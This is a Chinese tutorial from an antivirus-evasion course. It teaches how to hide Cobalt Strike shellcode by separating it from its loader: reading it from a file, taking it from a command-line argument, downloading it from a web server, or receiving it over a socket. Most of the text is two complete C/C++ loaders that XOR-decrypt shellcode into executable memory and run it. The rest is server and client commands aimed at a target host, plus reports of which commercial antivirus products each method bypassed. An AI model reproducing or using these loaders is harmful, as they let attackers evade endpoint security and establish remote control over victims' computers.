免杀对抗——第一百四十九天

C2远控篇&C&C++&ShellCode分离&File提取&Http协议&Argv参数&Sock管道

前置知识

  • 之前讲到过我们针对ShellCode的加载方式大致有四种:
    1、Shellcode 自写打乱-让杀毒不认识
    2、Shellcode 加密混淆-让杀毒不知道
    3、Shellcode 分离隐藏-让杀毒找不到
    4、Shellcode 注入回调-让杀毒绕圈圈

  • 之前的课程中讲过加密混淆,那么本节课我们就围绕ShellCode的分离隐藏来进行免杀

  • 内存免杀是将 shellcode 直接加载进内存,由于没有文件落地,因此可以绕过文件扫描策略的查杀。为了使内存免杀的效果更好,在申请内存时一般采用渐进式申请一块可读写内存,在运行时改为可执行,在执行的时候遵循分离免杀的思想。

  • 分离免杀包含对特征和行为的分离两个维度,把 shellcode 从放在程序转移到加载进内存,把整块的 ShellCode 通过分块传输的方法上传然后再拼接,这些体现了基本的"分离"思想。

  • 而我们的分离思想,在本节课主要集中于如下四点:

    1. 文件分离 => 将ShellCode放到文件中,通过读取访问
    2. 参数分离 => 将ShellCode放到参数中,通过加载访问
    3. 网站分离 => 将ShellCode放到网站上,通过下载访问
    4. 管道分离 => 将ShellCode通过管道传输
      在这里插入图片描述
  • 当然,除了这些分离方式还有比如说放到一张隐写的图片中,通过其他代码生成加载、写入注册表等等

C2 远控 - ShellCode 分离-C/C++从文本中提取

  • 这个我之前演示过,我们的思路就是通过将ShellCode代码放到另一个文件当中,通过读取进行加载,直接上代码:
#include <Windows.h>
  #include <stdio.h>
    unsigned char xor_key = 0xAA;
    // 读取二进制文件到内存
    unsigned char* read_binary_file(const char* filename, size_t* out_size) {
    HANDLE hFile = CreateFileA(
    filename,
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
    );
    if (hFile == INVALID_HANDLE_VALUE) {
    return NULL;
    }
    // 获取文件大小
    *out_size = GetFileSize(hFile, NULL);
    if (*out_size == INVALID_FILE_SIZE) {
    CloseHandle(hFile);
    return NULL;
    }
    // 分配内存
    unsigned char* buffer = (unsigned char*)malloc(*out_size);
    if (!buffer) {
    CloseHandle(hFile);
    return NULL;
    }
    // 读取文件
    DWORD bytesRead;
    if (!ReadFile(hFile, buffer, *out_size, &bytesRead, NULL) || bytesRead != *out_size) {
    free(buffer);
    CloseHandle(hFile);
    return NULL;
    }
    CloseHandle(hFile);
    return buffer;
    }
    int main() {
    // 读取二进制文件
    const char* shellcode_file = ".\\x.bin";
    size_t shellcode_len = 0;
    unsigned char* file_data = read_binary_file(shellcode_file, &shellcode_len);
    // 分配可执行内存
    void* exec_mem = VirtualAlloc(
    NULL,
    shellcode_len,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
    );
    // 复制并解密
    memcpy(exec_mem, file_data, shellcode_len);
    free(file_data);
    unsigned char* payload = (unsigned char*)exec_mem;
    for (size_t i = 0; i < shellcode_len; i++) {
    payload[i] ^= xor_key;
    }
    // 打印查看
    for (int i = 0; i < shellcode_len; i++) {
    printf("%02X ", payload[i]);
    }
    // 执行
    FlushInstructionCache(GetCurrentProcess(), exec_mem, shellcode_len);
    ((void(*)())exec_mem)();
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
    }
  • 然后我们生成x.bin文件就直接让CS生成raw文件,再放到010上异或即可

  • 我们会得到两个文件:shell.exex.bin,然后放到火绒上看看效果:
    在这里插入图片描述
    在这里插入图片描述

  • 火绒没有报毒,并且成功上线,然后我们看看360:
    在这里插入图片描述
    在这里插入图片描述

  • 静态查杀基本都通过了,我们看能不能连上:
    在这里插入图片描述

  • 只能连上一段时间,360动态查杀还是过不了,但是静态过了还是不错,接着看看卡巴斯基:
    在这里插入图片描述

  • 卡巴静态也过了,尝试上线看看动态查杀:
    在这里插入图片描述

  • 卡巴还是厉害,一运行就直接寄了,最后看看DF:
    在这里插入图片描述

  • 不是哥们?我有点不敢相信,DF静态查杀居然也过了,上线!
    在这里插入图片描述

  • 和卡巴斯基一样,随便执行了几个命令就被干掉了,但是静态查杀过掉了让我有点意外,所以这种分离文件的方法在现在免杀性其实都还不错

C2 远控 - ShellCode 分离-C/C++从参数中提取

  • 同样,我们也可以将ShellCode藏到参数中,让其通过手动输入的方式加载执行,代码如下:
#include <Windows.h>
  #include <stdio.h>
    #include <stdlib.h>
      #include <string.h>
        #include <ctype.h>
          unsigned char xor_key = 0x44;
          // 将十六进制字符串转换为字节数组
          size_t hex_string_to_bytes(const char* hex_str, unsigned char** out_bytes) {
          size_t len = strlen(hex_str);
          size_t hex_len = 0;
          // 统计有效的十六进制字符数
          for (size_t i = 0; i < len; i++) {
          if (isxdigit(hex_str[i])) {
          hex_len++;
          }
          }
          if (hex_len % 2 != 0) {
          printf("[-] Error: Hex string length must be even (got %zu characters)\n", hex_len);
          return 0;
          }
          size_t byte_len = hex_len / 2;
          *out_bytes = (unsigned char*)malloc(byte_len);
          if (!*out_bytes) {
          printf("[-] Error: Memory allocation failed\n");
          return 0;
          }
          // 转换十六进制字符串为字节数组
          size_t byte_idx = 0;
          for (size_t i = 0; i < len && byte_idx < byte_len; i++) {
          if (!isxdigit(hex_str[i])) continue;
          char hex_pair[3] = { 0 };
          hex_pair[0] = hex_str[i];
          // 找到下一个十六进制字符
          size_t next_pos = i + 1;
          while (next_pos < len && !isxdigit(hex_str[next_pos])) {
          next_pos++;
          }
          if (next_pos < len) {
          hex_pair[1] = hex_str[next_pos];
          if (sscanf(hex_pair, "%2hhx", &(*out_bytes)[byte_idx]) != 1) {
          printf("[-] Error: Invalid hex pair at position %zu\n", i);
          free(*out_bytes);
          *out_bytes = NULL;
          return 0;
          }
          byte_idx++;
          i = next_pos; // 跳过已处理的字符
          }
          }
          return byte_len;
          }
          int main(int argc, char* argv[]) {
          // 检查参数
          if (argc != 2) {
          return 1;
          }
          // 从命令行参数解析ShellCode
          unsigned char* buf = NULL;
          unsigned int buf_len = hex_string_to_bytes(argv[1], &buf);
          if (buf_len == 0 || buf == NULL) {
          return 1;
          }
          printf("[+] Loaded %u bytes from command line argument\n", buf_len);
          // 分配可执行内存
          void* exec_mem = VirtualAlloc(
          NULL,
          buf_len,
          MEM_COMMIT | MEM_RESERVE,
          PAGE_EXECUTE_READWRITE
          );
          if (!exec_mem) {
          printf("[-] VirtualAlloc failed with error: %lu\n", GetLastError());
          free(buf);
          return 1;
          }
          // 复制并解密
          memcpy(exec_mem, buf, buf_len);
          free(buf);  // 释放临时缓冲区
          unsigned char* payload = (unsigned char*)exec_mem;
          for (size_t i = 0; i < buf_len; i++) {
          payload[i] ^= xor_key;
          }
          // 打印查看
          printf("[+] Decrypted payload (%u bytes):\n", buf_len);
          for (unsigned int i = 0; i < buf_len; i++) {
          printf("%02X ", payload[i]);
          if ((i + 1) % 32 == 0) printf("\n");
          }
          printf("\n");
          // 执行
          printf("[+] Executing ShellCode...\n");
          FlushInstructionCache(GetCurrentProcess(), exec_mem, buf_len);
          ((void(*)())exec_mem)();
          VirtualFree(exec_mem, 0, MEM_RELEASE);
          return 0;
          }
  • 因为我们Input输入的东西是个字符串,所以需要进行转换,不能直接传入异或后的ShellCode
  • 然后它的免杀性也还可以,静态查杀基本都能过,但是动态只能过火绒

C2 远控 - ShellCode 分离-C/C++从网站中提取

  • 从网站中提取的意思就是,比如在本地开启一个服务器,然后将ShellCode放在上面,需要用到时加载
  • 但是用C++实现HTTP访问网站比较复杂,这里代码太长了我就不贴出来了,直接AI生一份即可
  • 免杀性其实也还行,静态查杀也基本都能过,但是动态查杀只能过个火绒
  • 这里的加载网站,我们除了使用我们自己的服务器外,还可以用云存储,让网站的域名为白名单域名,也会有一定的免杀性

C2 远控 - ShellCode 分离-C/C++从管道中提取

  • 这个的原理和C/S架构一样,通过服务端将ShellCode传递给客户端,客户端再执行:
    • 服务端:作为攻击者控制的"服务器",存储ShellCode并监听连接
    • 客户端:在目标机器运行,主动连接服务端获取ShellCode并执行
  • 同样就用AI去生成一个代码,通过文件与参数的形式去接收,然后我们进行修改就好,使用时就先在本机运行服务端程序,等待客户端连接:
.\Socket_Server.exe x.bin 4444

在这里插入图片描述

  • 将客户端程序上传到目标主机,然后运行:
Socket_Client.exe 10.136.11.61 4444

在这里插入图片描述

  • 就能够直接上线了,免杀性其实也还行,火绒、360、卡巴斯基、DF的静态查杀都能过,但是一旦运行卡巴和DF直接挂,360执行敏感命令时也挂了,就能过个火绒